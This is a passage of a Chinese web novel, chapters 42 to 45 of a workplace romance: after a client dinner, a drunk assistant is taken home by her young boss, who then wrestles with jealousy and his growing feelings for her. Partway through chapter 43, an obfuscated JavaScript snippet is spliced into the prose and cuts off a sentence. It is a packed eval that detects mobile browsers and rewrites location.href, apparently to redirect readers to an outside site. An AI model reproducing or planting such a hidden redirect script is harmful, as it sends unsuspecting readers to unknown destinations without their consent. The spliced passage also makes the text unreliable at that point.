“成!一人一杯!”顾妙知道这家伙是酒场常客,掺酒什么效果他自己也清楚,说这话也不是意料之外,于是她手脚麻利地给每个人都调了一杯,故意少放酒,多放了点鲜橙汁。 这款酒原本只用高粱红,喝起来并不怎么醉人,但是被顾妙这么用白酒和红酒一勾兑,完全变成了另一款酒,成了让人眩晕的利器。 她喝了之后,顿时觉得原本只是有点眩晕的脑子有变成棉花的趋势。 当下顾妙就有点慌,可别还没灌醉孙总,自己先趴下了。 这会儿孙总想说话,挥舞着胳膊卡了半天没说出来,他带来的助理和市场经理们看到他这副样子想笑没敢笑,有的低头跟碗筷参禅,有的按住嘴角强行憋笑。 孙总终于把卡了壳的话说了出来,就俩字:“……好酒!” 看他从脸到脖子都变成了猪肝色,眼神开始涣散,顾妙就知道这办法管用。 既然管用,那就再接再厉! 趁着还能站稳,她多调了几杯“欢迎”,哄着孙总喝下去。孙总接连干了几杯,很快就被“欢迎”得晕头转向,还没等喝上顾妙想调的“夏日海南”和“夜上海”,就趴在桌上连连摆手。 “老廖……你们公司这小丫头……厉害啊!”孙总闷声闷气地说完这句话,整个人就彻底晕了过去。 廖玄早就喝得七七八八了,他喝多了倒是没什么表现,不知道的人还以为他状态正好。 他靠在椅子上只是淡淡地笑,平静地冲小郑说:“今天就到这儿吧,小郑,辛苦你送你们孙总回去。” 作为全场唯一一个清醒的人,小郑连连说:“没事,这是我应该做的。廖总你们……” 廖玄摆了摆手:“放心,一会儿有人过来接我们。小顾,跟公司的人联系了吗?” 顾妙坐在一边,正处于大脑真空状态,听到廖玄的声音,本着对上级提问不能说“no”的原则,出于肌肉反应,迅速回答:“联系了。” 她倒也不是敷衍,在预感自己要醉之前,就已经给公司的一个姓谢的AE发了微信,让他到小洋楼来等着。 答应完廖总,她想起自己的事儿,才挣扎着掏出手机,还没看清楚谁是谁,直接就在魏如栩给她发的消息上回复:“快来接驾!” 魏如栩正在包间外守着,一收到消息,立刻冲进门来,顿时被屋里的酒菜味儿熏了一个大跟头。地上不知是洒了油还是饮料和酒,亦或是三者都有,踩上去十分粘腻,触感令人非常不爽。 他紧张地寻找着顾妙的身影,看她靠在一旁沙发扶手上,一手支起来撑着脑袋,摆了个“思想者”的造型,已是强弩之末。 看到人,魏如栩就安心了许多,也没管坐在饭桌边上强装闭目养神的廖玄,径直走到了顾妙身边,轻轻戳了戳她的肩膀:“顾助理,你怎么样了?” 这货倒没完全人事不省,还抬头看了他一眼,一双大眼睛焦距都对不准,也不知道认没认出是谁,就假模假式地打了个招呼:“来得这么快啊!” 小郑看见魏如栩,打招呼道:“是嘉栩的吗?” 魏如栩冲她一点头,迟疑了一下问道:“需要帮忙吗?” “不用不用。”小郑指了指各自玩手机的几个市场经理,“他们还行,没太醉。” “那我就不送你们了。”魏如栩客套地说,心里确实也没打算送他们,他只想赶紧把顾妙送回家。 小郑:“没事,你好好照顾廖总和小顾吧。” 说完她就指挥着那几个同事,把人事不省的孙总连拖带拽地架了出去,跟魏如栩挥手告别。 整个过程中廖玄头都没抬,坐在椅子上动也不动,想必已经彻底没电了。 魏如栩正愁着不知道该怎么处理他才好,及时雨小谢敲敲门进来:“廖……小魏总?” 见到他,小谢有点意外,倒是魏如栩装得冷静沉着,仿佛早就料到他会来:“嗯,廖总喝得不少,你把他安全送回家,下去别忘了结账。” “您放心吧。”小谢瞟了一眼沙发上的顾妙,很机智地什么都没问,直接到廖玄身边把他搀了起来。 就在他搀着廖玄走到门口的时候,一直低头叫车的魏如栩还是开口嘱咐了他一句:“我在这儿的事儿,就不用跟廖总提了。” 干瘦的小谢使出吃奶的力气扶着廖玄,冲魏如栩点头:“明白。” 晚上的车不太好叫,魏如栩叫了半天才排上队。估摸着小谢已经带着廖玄离开了,他才走到顾妙身边,拉了拉她的手腕:“你怎么样了?” 顾妙其实很不怎么样,她现在头晕又头疼,眼前影影绰绰十分模糊,感觉地心引力前所未有的强,仿佛一低头就会跟地面亲密接触。 酒精的作用下她觉得非常热,出了很多汗,包间里开了空调也没用,整个人身上黏 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“都不认人了,还嘴硬。”魏如栩伸手从旁边衣帽架上取下顾妙的斜挎包,正要把手递给她,谁知顾妙根本看不清他的手,还没抓住就猛地站起身,顿时双腿一软,向前栽去。 魏如栩赶紧张开双臂接住她,把她抱了个满怀,鲜活的触感和灼热的体温令人猝不及防,他的喉结紧张地上下一滑,整个人都定住了。 顾妙眯着眼,额头抵在魏如栩的脖颈处,头发搔得他下巴有点痒痒。 小魏总这会儿整个人站成了一块铁板,搂着顾妙动也不敢动,全身上下能动的就是胸腔里那颗快要跳出来的小心脏。 “哈哈,还真有点站不稳。”顾妙贴着他的脖子缓缓抬起头,眼皮好像都撩不起来了,只看到魏如栩的下颌骨,“顾肖……你要敢……敢摔了我,嗝呃……明天我要你好看!” 顾助理满身酒气,已经很冲鼻子了,刚刚那个酒嗝……跟男厕所里的胖兄比起来也不遑多让。 魏如栩觉得眼睛被浓烈的气体熏了一下,心里苦不堪言,眼泪差点下来。 浓郁的味道消解了刚刚“亲密接触”带来的紧张,小魏总觉得自己好了一点。他从顾妙手里抠出了手机,放进她包里。 “起——驾!”顾妙闭着眼睛大喊了一声,一手主动搂住了魏如栩的腰,抓紧他的衣服,脑袋靠在他的肩膀上,颇有点树袋熊的意思。 还从没被人这么缠着过,嗯,“缠”字是字面意思。 顾妙整个人软得像没有骨头,魏如栩莫名觉得自己好像是被一条美女蛇缠住了。 只是这条美女蛇热得像块刚从热水里泡过的湿毛巾,大热天里圈在身上滋味非常酸爽。 糟糕的气味和诡异的触感是战胜绮思的不二利器。 “你确定自己能走?”魏如栩把手里的女包挂在脖子上,另一只手揽住顾妙的肩膀,小心翼翼地问道。 顾太后有点不乐意了,垂着头闭着眼睛还能颐指气使:“废话!” 得,闭嘴吧! 魏如栩揽着顾妙出了包间,正撞上前来打扫的服务员,轻声说道:“谢啦!” 服务员冲他意味不明地笑了笑:“没事!” 小魏总回味着她的笑容,总觉得有点八卦。 42. 第四十二章 脸都丢完了 网约车已经在门口等着,魏如栩一只手拉开车门,把顾妙放进车后座,托起她的头小心翼翼靠在座椅靠背上,然后他绕到左边上了车,把脖子上的女包取下来放在膝盖上,这才长长地出了口气。 这么一折腾,他出了一身大汗。以前也帮忙扛过喝多的哥们儿,没一个感觉这么难搞。第一次照顾喝多的女孩子,生怕自己一个不小心碰了不该碰的地方,可谓左支右绌,心累大于身累。 司机见顾客已就座,一给油门,汽车“嗷”地一声蹿了出去,顾妙“咣当”一下砸到了小魏总的腿上,枕上了她的包。 魏如栩:“……” 见她这样歪着身子实在不会太舒服,魏如栩伸出双手比划了半天,才抓着她的肩膀把她扶起来,让顾妙把头靠在自己的肩膀上,右手紧紧搂着她。 “是怕你来回晃荡啊我才……我这件衣服挺贵的,你可别吐我身上,”小魏总心乱如麻,不知道怎么就蹦出了这句欲盖弥彰的话,说完之后十分后悔,恨不得把这话再咽回去。 可惜,说出来的话,吐出去的痰,难以回咽。 顾妙竟然还没完全失去知觉,她吸了吸鼻子,带着严重的鼻音说:“再贵……也是我买的……我想吐就吐……呃唔……” 魏如栩本能反应捂上她的嘴:“求放过!” 好在顾妙只是咂吧了一下嘴,并没真吐,估计先前在洗手间里吐了那一会儿也起了一定作用。 魏如栩松了口气,抬头却看到司机从后视镜里看了他一眼,刚刚收回的目光充满了审视的意味。 等等,大叔你是不是误会了什么?! 车开得逐渐平稳,顾妙也消停了,靠在魏如栩肩头一动不动。只要她不打酒嗝,身上的味道倒也没那么难以忍受。而且魏如栩只要一低头,就能闻到她头发上酒菜味道中夹杂着的马鞭草洗发水的味道,倒还是有点清新的。 “哎,你今天晚上喝了多少?”魏如栩翘起嘴角,“感觉你酒量还可以,真怕你半杯倒。” “别提了……戏过了,演砸了!”顾妙嘟嘟囔囔地说着,“我太自以为是了……” 汽车过了个减速带,颠了一下,顾妙的脖子仿佛是个摆设,完全支撑不住她那往下滑的脑袋。 魏如栩轻轻托了她一下,迟疑了片刻,还是用自己的脸颊卡住了顾妙的头顶,免得她来回晃。 这个姿势实在太亲昵了,但……感觉十分美好。 小魏总心狂跳,但又觉得顾妙目前神志不清醒,自己觉得再美好,想一想还是有点猥琐,于是强行压制感官感受,就……只能尬聊了。 “听说那个孙总挺能喝的,你把他都灌倒了,也是厉害。”魏如栩说,“但你以后量力而行吧,别随便抠喉,这样对消化道不好。” 顾妙眯着眼:“你怎么……知道?这么早就过来了?” “……嗯,担心你。” 顾妙缓缓抬起右手,摸索着找到了魏如栩的脸,轻轻拍了拍:“乖,姐没白疼你……回头多给你点零用钱。” 魏如栩:“……” 司机大叔,真不是你想的那样! 后视镜里司机的表情十分凝重,左脸写着“世风日下”,右脸写着“臭不要脸”,脑门顶着横批——“败类”。 魏如栩百口莫辩,抵着顾妙的头顶的脸又不敢动,只好对着司机座椅后背参禅。 顾妙的手拍完了小魏总矜贵的脸,捏眉心捏了好一会儿,然后又捂到胃上,似乎很不舒服的样子。 车内空调凉爽,可魏如栩明显感觉到她肩头出了很多汗,衣服也潮潮的,不由地有点担心:“怎么了?哪儿难受吗?” 顾妙轻叹一声:“头疼……胃里也难受……” 听他这么说,魏如栩觉得自己心口被什么东西重重地敲了一下,内疚感像一张网,从头到脚把他裹得透不过气来。 “对不起,是我自作聪明。”他干巴巴地道了歉,又觉得这话实在没什么意思,一时间不知道该说什么才好,便只能把自己淹没在满心自责里。 “悔不当初”四个字就是他此刻内心所有想法的总结。如果不是他非要插一杠子把车翔支走,这事儿也不会落到顾妙头上。 过了一会儿,顾妙才后知后觉地回应他:“关你屁事。” 小魏总心想:“你是我助理,工作上的事都关我的事。” 晚上不堵车,一路畅通,汽车很快开到顾妙家楼下。魏如栩再次把女包挂在脖子上,绕到右边打开车门,把顾妙轻手轻脚地扶出来。 许是难受得更厉害了,平日里轻易没有愁容的顾妙双眉紧皱着,灯光下脸色白得像纸。 魏如栩仰头看看她家没有电梯的老楼,拉着顾妙的手腕一转身,将她背了起来。 双脚猛一悬空,顾妙吓了一跳,微微睁开眼睛,见到了一个后脑勺:“……背得动吗?你这么瘦……” 魏如栩深呼吸一口气,进了楼道:“保证摔不了你。” 话虽这么说,但顾妙身高不矮,手长脚长,又加上整个人昏昏沉沉,确实有点沉。这会儿她怕被摔,两只手臂紧紧环着魏如栩的脖子,好悬没把他勒死。 魏如栩一边背着她艰难地上楼,一边寻思着自己确实该健身了。 没走两级台阶,挂在他脖子上的包里传来了手机铃声。 不知道顾妙什么爱好,把手机铃设成了响亮的《威仪堂堂进行曲》,在空旷的楼道里声音被放大了好几倍,存在感极强,令魏如栩觉得每走一步都在像是在接受检阅。 顾妙拍了拍他的肩膀:“接电话……别是公司有事。” 魏如栩有点恼火,心想哪个王八蛋打的,要是公司里的小刘小张什么的,回头找个理由把他奖金扣光。 万般无奈,他把腰弯得更低一些,免得顾妙从他背上滑下来,才好腾出手去包里掏手机。 顾妙身体本能也不迟钝,悬空的腿四下找着力点,正好触到了墙壁,就蹬在上面。 俩人姿势十分一言难尽。 可魏如栩刚拉开包,手机铃声就停了。 魏如栩:“……” 到底是哪个混蛋?! 顾妙迷迷糊糊地伏在魏 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按下门铃没两秒钟,顾肖就开了门,眉毛挑成弯钩:“哟,喝成这样?难怪我打电话没人接。” 魏如栩无语凝噎——这位的奖金不归我扣。 他背着顾妙进了她的卧室,顾肖在旁边搭了把手,轻轻把她放在了床上。 “脸色不太好,她喝得很多吗?”顾肖看顾妙煞白的小脸,也微微蹙起了眉。 魏如栩:“具体不好说,可能白酒掺了红酒的事儿。她说头疼胃疼,可是喝了酒也别给她乱吃药了。” 顾肖一点头:“嗯,可能过会儿吐出来就好了。” 魏如栩看着床上病怏怏的顾妙,喉咙像哽住了似的难受得要命,不知道该说什么好,沉默了片刻只是说:“辛苦你照顾她,明天让她休息一天,不用去上班了。” “行,一会儿我喊小姨过来看着她。”顾肖打量着魏如栩的表情,觉得他可能心里有事,但也不太方便追问,就没再开口。 “对了,她一直以为是你接她回来的,就别跟她提我了。”魏如栩垂着目光,生怕顾肖也觉得他没照顾好顾妙,不太敢看他。 顾肖再次点头:“好。” “那我走了。”魏如栩深深地看了顾妙一眼,扭头出了卧室,向门口走去。 他知道自己其实很想守在这里,像之前顾妙守着自己那样。 可他又凭什么呢? 顾肖追上他:“老魏!” “嗯?”魏如栩回眸,看到顾肖一脸犹豫,似乎有什么话要说。 顾肖斟酌了一下,不慌不忙地说:“我姐上学的时候就嚷嚷,说她学的那专业,将来估计就是做销售的命,得提前练酒量。她傻乎乎一人,有次在家一个人干了一瓶二锅头,昏迷到第二天中午,搞了个胃溃疡出来——咳咳,我说这个的意思就是……既然出来工作,经历个酒场也很正常,也没谁真正能护着谁,都得自己扛。所以今天这事儿,你别往心里去,我姐更不会当一回事。” 43. 第四十三章 小魏总整个人都不好了 要是顾肖直眉楞眼地谴责他没照顾好自己的姐姐,魏如栩可能会好受点,可姐弟俩都这么善解人意,他心里反而更难受了。 魏如栩脸上挤不出笑,他只是死死盯着顾肖,脑子里却想着自己是个多么没用的老板,同时用力压制着心中那沸反盈天的怒气——针对他自己的怒气。 仔细想想,事情确实不大。对于顾妙来说,醉场酒而已,歇两天养养胃,又是个生龙活虎的小年轻。不管公事还是私事,多少年轻人都活跃在酒场上,通宵玩闹醉生梦死,毕竟年轻就是资本,青春就是用来挥霍的。 可隔着母亲去世的十四年光阴,无力感再次把魏如栩捅了个对穿。 身边的人为自己全力以赴,他却无能为力,像个局外人一样只能干看着。 顾肖见他眼眶憋得发红,似乎看出他在想什么,直言不讳:“我姐是为工作拼,也是为她自己拼。” 言下之意,她不是为你,所以你不必内疚。 魏如栩说不出半个字,只是点点头,打开门走了。 外面月朗星稀,还有阵阵微风吹走暑意,是个好天气。可魏如栩的胸口却被什么东西一直堵着,堵得他喘不上气,脑子也是一团乱,究竟自己该怎么想,该怎么做才是对的,他完全弄不分明。 十多年来一直坚持的冷漠,在遇上顾妙这团小火苗之后,似乎就完全破了功。 所以……他是喜欢上顾妙了吗? 魏如栩扪心自问,想想自己对顾妙莫名其妙生出来的依赖,几次三番在她面前表现出的幼稚,以及对于车翔的戒备心,背后的腹诽和使出的小心机,再加上今晚这过分来势汹涌的担心与牵挂…… 对这段心路历程条分缕析之后,他仍然毫无头绪。 向来把别人关在心门之外的魏如栩,意外地发现,他似乎很难界定喜欢一个人究竟是什么感觉。 手机响了一声,把他从思维困境中拉了回来,魏如栩看到顾妙刚刚发过来的消息。 “老板,我到家啦,一切平安。早点休息,明天见咯!” 看着顾妙的头像,魏如栩的心猛地跳错了一个节拍。 排除心脏病的可能,不知道这算不算是怦然心动。 但很快他又陷入新的迷思:就算是心动,如果只是一个人动,似乎也是毫无意义的吧? 思绪像钻天猴一样毫无节制地到处乱飞,打散了小魏总坚持多年的修为,将他带向一个困扰了无数人的死亡循环之中。 魏如栩甩甩头,觉得关机省电最安全,打算将迷思先放在一边。 思虑过多不好,伤身且不祥。既然一时间无法确定到底是种怎样的情感,不如多留些时间观察看看。 顾妙给魏如栩发微信之前,抱着马桶吐了个天翻地覆。吐的时候虽然难受,但吐完了确实神清气爽,找回一线清明。借着这一小会儿的清醒,她挣扎着发了信息,险些没把手机掉马桶里去。 好在顾肖早就在魏如栩的提醒下,把她误发给魏如栩的信息给删掉了,所以顾妙并没注意到自己搞出来的乌龙。 发完之后,第二波恶心反胃赶到,她一头扎进马桶再次狂吐。 顾肖在一边拎着她的长头发,拿着她的手机,被那气味熏得不行,又没手去捂鼻子,只好自行关闭呼吸,憋一口气才说一句:“到底为什么喝这么多?我寻思着你酒量可以,不至于这样啊!” “不作死就不会死。”顾妙吐得快变成了蚊香眼,直起身来一指洗手池,“水!” “头发给你。”顾肖把她头发丢下,看她自己捋好,才腾出手来接了杯水递给她。 漱完口之后,顾妙觉得好多了,这才扶着马桶站起来,定了定神,转身往外走。 看她脚步虚浮,顾肖赶紧扶住她,“对了,老魏让我跟你说声,明天给你放假,不用上班了。” “这么贴心?”顾妙狐疑地问,“他怎么不直接跟我联系?” 顾肖耸了耸肩:“我怎么知道,可能我刚刚跟他聊天,他就随口跟我说了。” 顾妙走进卧室,不放心地问:“你俩都聊什么了?你没跟他说我喝醉的事儿吧?” 顾肖避重就轻,扔开她的手,没好气地说:“卖了你能挣几个大子儿?我闲得没事儿干了?” 想着他晚上把自己弄回来也够辛苦的,顾妙就此息事宁人,懒懒地爬上床躺好:“好啦,我这不是怕他知道以后担心嘛!” “我让他别往心里去,但他要是担心,那也是应该的。”顾肖淡淡地说,“毕竟你是他助理,不是一个什么可有可无的人。” 顾妙端详着他的脸,向来心大的她居然感觉到了顾肖那若有若无的一丝怒意,不禁咧嘴笑了:“哟喂,生我老板的气了?不至于吧!先前不都跟你说了这事儿不赖他嘛?” 顾肖自然不知道顾妙跟魏如栩说了什么,但答应了他不说破,也只能保持沉默。他之前虽然故意说几句让魏如栩宽心的话,但作为顾妙的弟弟,也并非全无芥蒂。 “是不赖他,但我觉得他也有责任尽量这种事情发生。好了不说这个,没多大事儿,你下回也别这么拼,小命要紧,抓紧睡吧。”顾肖没再多耽误,给顾妙拧灭了台灯,带上门走了。 顾妙本就头晕脑胀,闭上眼很快沉入梦乡,但是因为喝了酒,睡得并不太好,一晚上就像做了场快穿的梦,在各种险恶的场景中穿来穿去,累得不行。 魏如栩睡眠本来就不好,这次心里惦记着顾妙,五点多钟就醒了。想睡回笼觉也睡不着,干脆起床跑步,还做了几套健身动作,之后洗澡吃饭,就到了上班时间。 想到上班,他一下子觉得心里空落落的。 他想知道顾妙现在怎么样了,但时间太早也不方便问,况且昨夜明白自己的那点小心思之后,反而有点别别扭扭的,生怕过于关心,会让她感觉出什么不对劲来。 他倒是没想过,之前他那些幼稚的举动会不会让顾妙误会。 这人吧,心里有鬼了,就觉得怎么做都不对劲,完全不知道“正常”俩字该怎么写。 要是能看她一眼就好了,至少知道是什么状况。可又是自己亲自说让人在家休息的…… 小魏总觉得自己太难了。 仍旧一路溜着滑板去了公司,在电梯里遇上了昨晚送廖玄回家的小谢,魏如栩很自然地问他:“廖总情况怎么样?” “醉得挺厉害,估计今天来不了公司了。” 魏如栩心里放轻松了,这样正好,车翔今天就回来,之后廖玄就再也没借口使唤顾妙了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459420|169685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他三步并作两步,蹦蹦跳跳上了楼梯,一到二楼就看见自己办公室的门开着,差点以为遭了贼。进去一看,顾妙已经坐在她的工位上,对着电脑不知道在写什么。 “你怎么来了?!”魏如栩看到她,心尖突地一抖,觉得自己不能好了。 “来上班啊!不欢迎吗?我还以为老板都喜欢勤奋的下属。”顾妙冲他一乐,但看到小魏总的脸色活像见了鬼,顿时有点迷茫,“你怎么了?没睡好?” 魏如栩干咳两声:“……不是让你放假吗?” “我又没事,放什么假,少一天就得扣一天的钱。再说明天就周五了。”顾妙起身进了里间办公室,美式壶里的咖啡已经煮好,她倒了杯递给魏如栩,“老板,我也蹭你一杯哈。” “想喝就喝,废什么话。”魏如栩木着脸接过咖啡,看到顾妙脸上明晃晃的黑眼圈,知道她肯定没睡好,有心把人撵回家休息,又有点舍不得,就想让她在自己眼皮下面晃。 想起她昨晚才喝过酒,魏如栩本能加了句:“多兑点牛奶,免得伤胃。” 于是顾妙在杯子里放了四个奶精球。 魏如栩:“……” “放心吧老板,我身体倍儿棒吃嘛嘛香!”顾妙吹着咖啡杯里冒出了来的热气,小心翼翼地喝了一口,舔了舔唇边,活像只可爱的小猫。 魏如栩的目光一直黏在她脸上,下意识地也跟着她喝了口咖啡,并没尝出什么味道,连被咖啡烫了嘴都没什么感觉,反射神经可能已经死完了。 “啧,这浑厚的味道,提神醒脑。”顾妙贱兮兮地感叹道,“不枉我多放了点咖啡粉,这么重口味你喝得惯吗?” 魏如栩猛地反应过来,故意岔开话题:“当然——你刚刚写什么呢?” “哦,昨晚跟孙总吃饭聊的关于平衡车的事儿。廖总嘱咐我记清楚他们说的话,对做提案有帮助。可是当时又不能录音,就尽快趁着记忆还在,赶紧写下来。” “你没断片儿吗?”魏如栩有点心慌,这丫头昨晚醉成那样,居然还能记得饭局上别人说过的话? 顾妙得意地说:“当然没断了!我脑子清楚得很,还记得我弟过去接我回的家呢。再说了,有些东西只要你想记,就一定能记得住。” 魏如栩:“……” 吹牛吧!连人都认不出来,还敢说自己脑子清楚。 要不是亲身经历,就信了你了。 顾妙上了一个月的班,感觉自己一直在打杂,这次跟廖玄见客户虽然有点生猛,但总觉得是摸到了业务的一点边,她自己很兴奋,很想好好表现,为拉到这个客户做一点贡献,于是写报告也分外用心。 魏如栩见她高兴又卖力,也就随了她去。顾肖的那句话一直在他耳边回响,顾妙是为工作拼,是为她自己拼。所以,他一个当老板的,也不该阻止员工上进。 以及……当老板的,对女员工动心确实屡见不鲜,毕竟朝夕相处,难免萌生情愫,但想来实在不妥——尤其职场层级关系会让这种感情变得复杂。 于他没什么关系,对顾妙的影响估计不会好,何况本来公司里就有一些乱七八糟的传闻,绝对不能给八卦大厦添砖加瓦。 小魏总慎之又慎,几乎心力憔悴。 44. 第四十四章 吊桥效应 魏如栩看两眼报表就走了神,听着顾妙仿佛跟键盘有仇的打字声,呆呆地看向隔间的门框,大脑跟真空基本没什么区别。 顾妙才不知道她小魏总在那胡思乱想什么,一心都扑在报告上。 她整理完孙总提到的几处电动平衡车的卖点,琢磨来琢磨去,又加了一段自己的想法,把报告写完之后迅速发给了廖玄,战战兢兢想等他的反应,自己瞎激动半天才想起来这位廖总昨天喝趴了,今天没来上班。 想想廖玄喝趴下还有自己的一份功劳,顾妙心中的感觉十分酸爽。不知道他来上班后会对自己昨晚的表现有什么评价,想想也是有点小紧张。 顾妙一方面惋惜,其实如果能跟廖玄这样的老板,肯定能学到很多东西,给她一两年时间,她至少不会比车翔差;一方面还是庆幸,觉得跟廖玄的话,自己能不能活过第一个月也未可知,还是她小魏总人性化又体贴,还会主动给她放假。 “傻乐什么呢?”魏如栩的声音冷不丁在顾妙头上响起,把她吓了一跳。 顾妙刚刚还在心里还背叛了魏如栩一秒,现在有种被抓包的内疚感,赶紧站起来,赞美不打草稿:“啊,就觉得我老板你实在是关心下属,我跟着你简直非常幸运极了!” 魏如栩嗤笑一声:“舌头捋直了再说话。中午你吃什么?还是自己带的饭?” 顾妙连连摆手:“早上差点迟到,哪顾得上做饭。一会儿随便买点吧。” “我出去买点吃的,你要带什么吗?”魏如栩假装不经意地说,“给你带点粥怎么样?” “不用不用,我现在还不饿,刚刚那咖啡是有点厉害了,胃里怪难受的。”顾妙揉了揉胃,却带着一脸满不在乎的笑。 魏如栩刚想说她“不听老人言吃亏在眼前”,转念一想又觉得自己挺絮叨,干脆给了她一个“你活该”的眼神,故作高冷地走了。 等他在楼下便利店转了一圈,买了酸奶、粥还有包子等好消化的东西回来,正好赶上午休时间,就看见顾妙桌子上放着两盒便利店的盒饭,最上面一盒像是焖面。 魏如栩:“……什么时候出去买的饭?” “哦,刚刚车翔回来帮我捎的。”顾妙一边整理桌面上的文件一边说。 两盒,是要和车翔一起吃么?车翔怎么知道她要盒饭,难道两人私下联系还很频繁吗? 魏如栩正犯嘀咕,默默把塑料袋藏在身后。 顾妙完全没注意他的表情,站起身,一脸忧伤地对魏如栩说:“中午和他一起吃饭,顺便问问他怎么写报告才能让廖玄放过我。刚才我写的那份实在不怎么样,幸亏他帮我撤回了。” 魏如栩还没来得及给她什么反应,顾妙就拿着盒饭出去了,几秒钟听到她跟车翔的对话。 “翔哥,好了吗?” “走吧小妙——要不咱们出去吃吧,就给你买个盒饭,实在是太过意不去了。” “用不着用不着,不在于吃什么,说起来我向你请教,还得我请你吃饭呢……” 魏如栩躲在办公室门后,探出头看见车翔和顾妙一起下楼,脸上虽然没什么表情,心里把车翔吐槽吐得简直体无完肤。 不让你“喵喵”,你就叫“小妙”,叫这么亲热想干什么? 一回来就想着撩妹,看来这次出差太舒服了是吧? 魏如栩从袋子里拿出他给顾妙买的粥和酸奶,放在她的工位上,心想:“焖面那么油,本来就胃里不舒服,吃了不更难受吗?一点不会照顾自己。” 他往办公室里走了两步,又折回来,把粥收走了:“她吃饱了,肯定不会再喝粥,让她看见搞不好要多想。算了,就给她留瓶酸奶吧。” 魏如栩这一来一回,觉得自己像个磨磨唧唧的大事儿妈,就着自我嫌弃吃完了两人份的午餐,跑去写字楼旁边商业区的健身房,报了个私教班。 他决定,以后静不下心来的时候就去健身,消耗多余精力,免得自己心思不用在正道上。 谈感情还真是挺伤钱的! 今天没带健身的衣服,魏如栩还是回了办公室,准备处理摞在他桌子上那一大堆文件。谁知看了半天一个字也看不进去,倒是听见外面车翔和顾妙一直在小声交谈。 他们的声音压得很低,魏如栩支棱着耳朵也听不清说什么,只能听到叽叽咕咕的动静,干脆悄咪咪跑到靠隔间门边的沙发上坐着,假装看文件,其实注意力全在耳朵上。 可还是什么都听不清,倒是听见顾妙捂着嘴笑了。魏如栩心中怒火横生,一冲动,把手里文件一扔,顶着张送葬脸就出去了。 车翔一手扶在工作台上,一手搭在顾妙的椅背上,看起来就像把顾妙圈在怀里似的。 但知道魏如栩在办公室里,他也没敢太放肆,跟顾妙保持了一个中规中矩的距离。 看到魏如栩脸色不怎么好看,他赶紧站直,主动打招呼:“小魏总好。” 顾妙也有点紧张,站起来对魏如栩说:“是不是吵到你了?” 魏如栩看见车翔就打心眼里不爽:“上班时间,你很闲?” 车翔不知道说什么好,尴尬地看了他一眼,干脆当锯嘴葫芦。 顾妙连忙道:“是我的问题,我让他帮我看报告来着。翔哥你先忙去吧,我们回头再说。” “那行,我确实还有一堆事。”车翔连连点头,“你弄不好的话,咱们下班再聊。” “慢着!”魏如栩听见“下班再说”,顿时十分警觉,心想这岂不是顺理成章给了他们下班见面的理由了么?之前搬起石头砸自己的脚的事可不能再犯了! 他摆出一张工作脸:“既然顾妙报告写不好,就辛苦车翔你书面上帮她改一改,把修改的地方标出来。顾妙对比两篇文稿总能知道问题出在哪里。要是这样都不行,以她这智商就赶紧回家养病吧。” 顾妙觑着魏如栩面色不对,从善如流地赶紧接话:“那也行,翔哥真是麻烦你了。” “不麻烦不麻烦,那我先回去了。”车翔捡着坡,赶紧往下出溜,冲魏如栩讪笑了一下就跑了。 顾妙看着魏如栩,陪着笑脸说:“抱歉啊老板,没下回了,我一定注意。” “我发现你这个人挺有 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说完她就坐下对着电脑看起PPT,完全当魏如栩不存在。 魏如栩讪讪地站了一会儿,回了办公室,不知道出于何种想法,把隔间门给关上了。 这个举动实在堪称恶意,魏如栩心里泪流满面,我这个手,它不听使唤啊! 到底是怎么回事?真的是吃醋吗?魏如栩自认为他不是一个小肚鸡肠的人,更不可能病娇到这个地步,八字都还没一撇呢,就对人家跟谁来往管东管西了? 他自控了十多年,基本上对谁都能做到彬彬有礼、温文尔雅,所以一开始才会给顾妙留下那烂大街的“君子人如玉”的印象,怎么现在就偏偏控制不了自己的火气? 昨夜思考不出结果的问题又一次摆到了他面前,难道真的是因为他喜欢顾妙,所以才方寸大乱? 先前还因为磨磨唧唧而自我嫌弃,现在他更是为刚刚那幼稚的举动而唾弃自己。头昏脑涨什么都干不下去,他干脆躺在沙发上刷手机,一个推送号的文章标题映入眼帘:《九大爱情心理效应》。 以往他从不看这类文章,感觉都是公众号为了博眼球瞎扯淡。但今天他偏就鬼使神差地点进去,顺着往下看,看到了一个名词叫“吊桥效应”。 这个效应的大概意思是,在紧张环境下遇到异性,人有可能因为环境造成的心跳加速而误认为是爱上了对方。 所以,其实不是他喜欢上了顾妙,而是因为他在最紧要的关头遇上了顾妙,才会对她产生这样的感觉? 看完之后,魏如栩更加迷茫了,果然还是瞎扯淡啊!于是他愤怒地取关了这个公众号,并且谴责自己一天天都关注了些什么玩意! 他从沙发上蹦起来,在办公室里驴拉磨似地来回绕了好几圈,看看那关起来的隔间门,发现自己真的没勇气去拉开。 想想他刚才说的话,真是很过分。顾妙她……会很生气吧? 刚想到这儿,外面有人敲门,接着便传来顾妙的声音:“老板,是我。” 45. 第四十五章 邪恶双胞胎 魏如栩赶紧坐到自己的大班椅上,深呼吸平静了一下心情:“请进。” 顾妙拉开门进来,把一摞文件放在魏如栩桌上:“这些都需要您签字,签好了叫我一声,我进来拿。” 魏如栩还没来得及说话,顾妙冲他礼貌地笑了笑,一点头便转身离去,走到隔间门口,她非常“体贴”地想要把门拉上。 “……等等,不用关门了,开着比较透气。”魏如栩话一出口,在心里又是把自己一通爆锤,这说的什么玩意? “好。”顾妙挂着职业微笑,按他的要求把门推开,补充了一句,“如果您还是觉得有点不透气,我可以帮你把那边几扇窗户都打开。” 魏如栩:“……” 这么贴心呢,还“您”,魏如栩盯着她装出来的那一脸让人牙碜的笑,用脚指头想都知道她在生气。 “不用,我自己看着办就行了。”魏如栩说话底气不足,顾妙的职业微笑把他卡在了老板模式里,悬得高高的,没有台阶可下,想下来除非跳崖。 顾妙再次冲他一笑,回到自己工位上坐好,脸色“唰”地就沉下来了。 她当然生气了,从小到大,别人说她横,说她耿直,说她脑子不好使,还从没人说过她“绿茶”。她自问行得正坐得直,不明白怎么会被人扣上这样一顶帽子,说她的人竟然还是小魏总! 白对他那么好了! 